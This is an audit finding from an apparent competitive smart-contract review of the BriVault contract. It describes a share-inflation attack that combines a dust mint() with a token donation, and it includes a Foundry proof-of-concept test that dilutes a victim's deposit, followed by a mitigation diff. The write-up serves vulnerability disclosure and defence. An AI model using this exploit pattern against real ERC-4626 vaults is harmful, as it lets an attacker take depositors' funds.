BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Share calculation manipulation via inflation attack

Description

  • Share price (assets-per-share) should be determined solely by economically contributed deposits under contract rules (fees, minimums, timing), so each depositor receives fair shares proportional to what they actually paid.

  • _convertToShares(assets) uses the raw token balance of the vault as the denominator, which can be inflated by external transfers (“donations”) that mint no shares. Because ERC‑4626’s public mint() is exposed and ungated, a user can become the first share holder with a dust mint (bypassing participation fee / minimum) and then donate a large amount of asset directly to the vault. This makes the denominator (balanceOfVault) huge relative to totalShares, so future depositors (or mint callers) receive far fewer shares per asset, while the attacker’s initial tiny shares become disproportionately valuable.

// briVault.sol:156-166
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)); // @> manipulable via external transfers
uint256 totalShares = totalSupply(); // total minted BTT shares so far
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets; // @> attacker can bootstrap with dust (even via direct mint())
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault); // @> denominator includes donations
}

Risk

Likelihood: High

  • Attacker calls mint() with small shares while totalShares == 0, avoiding deposit() checks/fees; then transfers a large amount of the asset directly to the vault address (no shares minted).

  • dApps/wallets may surface ERC‑4626 routes; savvy users can and will use mint() directly during the deposit window.

Impact: High

  • Severe dilution of all later participants: future deposit()/mint() calls mint few shares per asset because the denominator (vault balance) is artificially inflated.

Economic capture: The attacker’s tiny initial shares now represent a huge claim on the pool (including donated assets), skewing tournament payouts and violating fairness.

  • Fee bypass / rule evasion: Using mint() avoids the participation fee, minimum, and any bespoke accounting in deposit().

Proof of Concept

PoC showing (a) dust mint() without participation fee and (b) donation inflating the denominator, which dilutes a subsequent victim deposit().

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract ShareCalcManipulationWithMintTest is Test {
BriVault briVault;
MockERC20 mockToken;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
address feeAddr = makeAddr("fee");
uint256 start;
uint256 end;
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(attacker, 1000 ether);
mockToken.mint(victim, 1000 ether);
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
150, // 1.5% participation fee (will be bypassed via mint)
start,
feeAddr,
0.1 ether,
end
);
vm.stopPrank();
vm.prank(attacker);
mockToken.approve(address(briVault), type(uint256).max);
vm.prank(victim);
mockToken.approve(address(briVault), type(uint256).max);
}
function test_MintThenDonateDilutesVictimDeposits() public {
// --- Attacker phase: become first holder via direct mint (bypasses deposit fee/minimum) ---
vm.startPrank(attacker);
uint256 attackerShares = briVault.mint(0.001 ether, attacker);
assertEq(attackerShares, briVault.balanceOf(attacker), "attacker got dust shares via mint");
// No participation fee charged, no stakedAsset accounting for attacker here.
// --- Donation phase: inflate denominator without minting shares ---
mockToken.transfer(address(briVault), 500 ether); // external transfer increases vault balance
vm.stopPrank();
// --- Victim phase: honest deposit now mints very few shares due to inflated denominator ---
vm.startPrank(victim);
uint256 victimShares = briVault.deposit(100 ether, victim); // pays fee, but gets diluted shares
vm.stopPrank();
// Victim receives far fewer shares than expected; attacker’s tiny shares are now very valuable.
assertLt(victimShares, 100 ether, "victim severely diluted by donation-inflated denominator");
assertGt(attackerShares, 0, "attacker retains initial shares capturing donated value");
}
}

Recommended Mitigation

  • Make pricing and entry/exit strictly obey tournament rules

  • Remove manipulable denominators

@@
+ // --- Hard disable direct ERC4626 routes to enforce accounting & fees ---
+ error erc4626DirectMintDisabled();
+ error erc4626DirectRedeemDisabled();
+
+ function mint(uint256 shares, address receiver) public override returns (uint256) {
+ revert erc4626DirectMintDisabled();
+ }
+ function redeem(uint256 shares, address receiver, address owner) public override returns (uint256) {
+ revert erc4626DirectRedeemDisabled();
+ }
@@
- function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
- uint256 totalShares = totalSupply();
- if (totalShares == 0 || balanceOfVault == 0) {
- return assets;
- }
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
- }
+ // --- Use internal accounting that ignores external donations ---
+ uint256 public accountingAssets;
+
+ function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
+ uint256 totalShares = totalSupply();
+ if (totalShares == 0 || accountingAssets == 0) {
+ // Bootstrap at 1:1 against accounted assets only
+ return assets;
+ }
+ shares = Math.mulDiv(assets, totalShares, accountingAssets);
+ }
@@
- function deposit(uint256 assets, address receiver) public override returns (uint256) {
+ function deposit(uint256 assets, address receiver) public override returns (uint256) {
if (block.timestamp >= eventStartDate) { revert eventStarted(); }
uint256 fee = _getParticipationFee(assets);
if (minimumAmount + fee > assets) { revert lowFeeAndAmount(); }
- uint256 stakeAsset = assets - fee;
- uint256 participantShares = _convertToShares(stakeAsset);
- IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
- IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
- _mint(msg.sender, participantShares);
- stakedAsset[receiver] = stakeAsset;
+ uint256 nominal = assets - fee;
+ IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
+ // Measure actual received (handles fee-on-transfer tokens)
+ uint256 before = IERC20(asset()).balanceOf(address(this));
+ IERC20(asset()).safeTransferFrom(msg.sender, address(this), nominal);
+ uint256 received = IERC20(asset()).balanceOf(address(this)) - before;
+ require(received > 0, "zero received");
+ // Update internal accounting; donations won't alter this
+ accountingAssets += received;
+ uint256 participantShares = _convertToShares(received);
+ _mint(receiver, participantShares);
+ stakedAsset[receiver] += received;
emit deposited(receiver, /* stake */ received);
return participantShares;
}
@@
- function _setFinallizedVaultBalance () internal returns (uint256) {
- if (block.timestamp <= eventStartDate) { revert eventNotStarted(); }
- return finalizedVaultAsset = IERC20(asset()).balanceOf(address(this));
- }
+ function _setFinallizedVaultBalance () internal returns (uint256) {
+ if (block.timestamp <= eventStartDate) { revert eventNotStarted(); }
+ // Use accounted assets to avoid donation-based skew
+ return finalizedVaultAsset = accountingAssets;
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!